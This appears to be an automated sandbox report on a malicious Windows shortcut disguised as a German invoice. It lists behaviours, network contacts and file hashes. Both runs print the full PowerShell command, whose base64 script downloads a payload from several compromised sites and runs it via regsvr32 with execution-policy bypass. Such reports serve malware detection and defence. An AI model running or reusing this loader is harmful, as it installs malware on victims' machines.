Analysis Overview
SHA256
8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65
Threat Level: Likely malicious
The file 8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 12:30
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 12:30
Reported
2024-11-13 12:33
Platform
win7-20240903-en
Max time kernel
119s
Max time network
124s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2264 wrote to memory of 2940 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2264 wrote to memory of 2940 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2264 wrote to memory of 2940 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2940 wrote to memory of 2092 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2940 wrote to memory of 2092 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2940 wrote to memory of 2092 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Rechnungs-Details 2022.26.04_1249.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9rdXBvbmRpZ2l0YWwuc3Rvcm1hcHAuaW4vbWlkby1uaWN1LzlOU1JDZlpCLyIsImh0dHA6Ly9mYXJzY2hpZC5kZS92ZXJrYXVmc2JlcmF0ZXJfc2VydmljZS91QURKdy8iLCJodHRwOi8vN2dhbGxlcnkuY29tL2JiZWF1dHlfZG93bmxvYWQvSHBPanJqRXhBYjZQWS8iLCJodHRwOi8vZTV3ZWIuY29tLmJyL3dwLWNvbnRlbnQvNFRQRFVwcGIvIiwiaHR0cHM6Ly9kd3dtYXN0ZXIuY29tL3dwLWNvbnRlbnQvdGZOczFjckhZWmQ2RjUvIiwiaHR0cDovL2NsdWJtYW5hZ2VyLm5ldC5hci9wcnVlYmEvN2xsUjlxV2ZRZHFsbkltbGlVRS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvTHF3eGJQclpKei5MTW87UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC9McXd4YlByWkp6LkxNbzticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\sNhYaMMPOU.ps1"; Remove-Item "$e
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\sNhYaMMPOU.ps1
Network
Files
memory/2940-38-0x000007FEF630E000-0x000007FEF630F000-memory.dmp
memory/2940-39-0x000000001B690000-0x000000001B972000-memory.dmp
memory/2940-40-0x0000000001D90000-0x0000000001D98000-memory.dmp
memory/2940-41-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
memory/2940-42-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
memory/2940-43-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
memory/2940-44-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
memory/2940-45-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
memory/2940-46-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1
| MD5 | 80bbc5429910a67fdbbd22941e33b2b1 |
| SHA1 | ad9daf9fcb9e16a9cc2dc62a531dd4586561e935 |
| SHA256 | 750b087ab0fbf4ffb077d571b2c4ff776ccbc17e043beb80dcf63f919fb2b9f2 |
| SHA512 | cac158e88145753df2efca305605fead81d9aaaec0221580103364f521f9e99e87aa4cff6568c0f81a018d9d893d5041046f9528871c76df377b084fdfa584f0 |
memory/2940-53-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 12:30
Reported
2024-11-13 12:32
Platform
win10v2004-20241007-en
Max time kernel
95s
Max time network
141s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4604 wrote to memory of 4740 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4604 wrote to memory of 4740 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4740 wrote to memory of 220 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4740 wrote to memory of 220 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Rechnungs-Details 2022.26.04_1249.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9rdXBvbmRpZ2l0YWwuc3Rvcm1hcHAuaW4vbWlkby1uaWN1LzlOU1JDZlpCLyIsImh0dHA6Ly9mYXJzY2hpZC5kZS92ZXJrYXVmc2JlcmF0ZXJfc2VydmljZS91QURKdy8iLCJodHRwOi8vN2dhbGxlcnkuY29tL2JiZWF1dHlfZG93bmxvYWQvSHBPanJqRXhBYjZQWS8iLCJodHRwOi8vZTV3ZWIuY29tLmJyL3dwLWNvbnRlbnQvNFRQRFVwcGIvIiwiaHR0cHM6Ly9kd3dtYXN0ZXIuY29tL3dwLWNvbnRlbnQvdGZOczFjckhZWmQ2RjUvIiwiaHR0cDovL2NsdWJtYW5hZ2VyLm5ldC5hci9wcnVlYmEvN2xsUjlxV2ZRZHFsbkltbGlVRS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvTHF3eGJQclpKei5MTW87UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC9McXd4YlByWkp6LkxNbzticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\sNhYaMMPOU.ps1"; Remove-Item "$e
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\sNhYaMMPOU.ps1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | kupondigital.stormapp.in | udp |
| US | 172.67.179.224:443 | kupondigital.stormapp.in | tcp |
| US | 8.8.8.8:53 | farschid.de | udp |
| DE | 85.214.195.12:80 | farschid.de | tcp |
| US | 8.8.8.8:53 | 224.179.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 7gallery.com | udp |
| US | 74.48.27.194:80 | 7gallery.com | tcp |
| US | 8.8.8.8:53 | e5web.com.br | udp |
| US | 50.116.112.167:80 | e5web.com.br | tcp |
| US | 8.8.8.8:53 | 194.27.48.74.in-addr.arpa | udp |
| US | 8.8.8.8:53 | code.jquery.com | udp |
| US | 151.101.194.137:80 | code.jquery.com | tcp |
| US | 8.8.8.8:53 | dwwmaster.com | udp |
| CN | 121.36.207.120:443 | dwwmaster.com | tcp |
| US | 8.8.8.8:53 | 167.112.116.50.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 137.194.101.151.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | clubmanager.net.ar | udp |
| AR | 190.57.236.55:80 | clubmanager.net.ar | tcp |
| AR | 190.57.236.55:443 | clubmanager.net.ar | tcp |
| US | 8.8.8.8:53 | 55.236.57.190.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
Files
memory/4740-2-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgsz05bq.s2e.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4740-12-0x000001FA43EE0000-0x000001FA43F02000-memory.dmp
memory/4740-13-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp
memory/4740-14-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp
memory/4740-15-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp
memory/4740-16-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1
| MD5 | 80bbc5429910a67fdbbd22941e33b2b1 |
| SHA1 | ad9daf9fcb9e16a9cc2dc62a531dd4586561e935 |
| SHA256 | 750b087ab0fbf4ffb077d571b2c4ff776ccbc17e043beb80dcf63f919fb2b9f2 |
| SHA512 | cac158e88145753df2efca305605fead81d9aaaec0221580103364f521f9e99e87aa4cff6568c0f81a018d9d893d5041046f9528871c76df377b084fdfa584f0 |
memory/220-28-0x000001E472720000-0x000001E472EC6000-memory.dmp
memory/4740-30-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp
memory/4740-31-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0ab03b4ab0ee8273a1eea28cef1ca1e7 |
| SHA1 | 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2 |
| SHA256 | 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed |
| SHA512 | 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
memory/4740-40-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp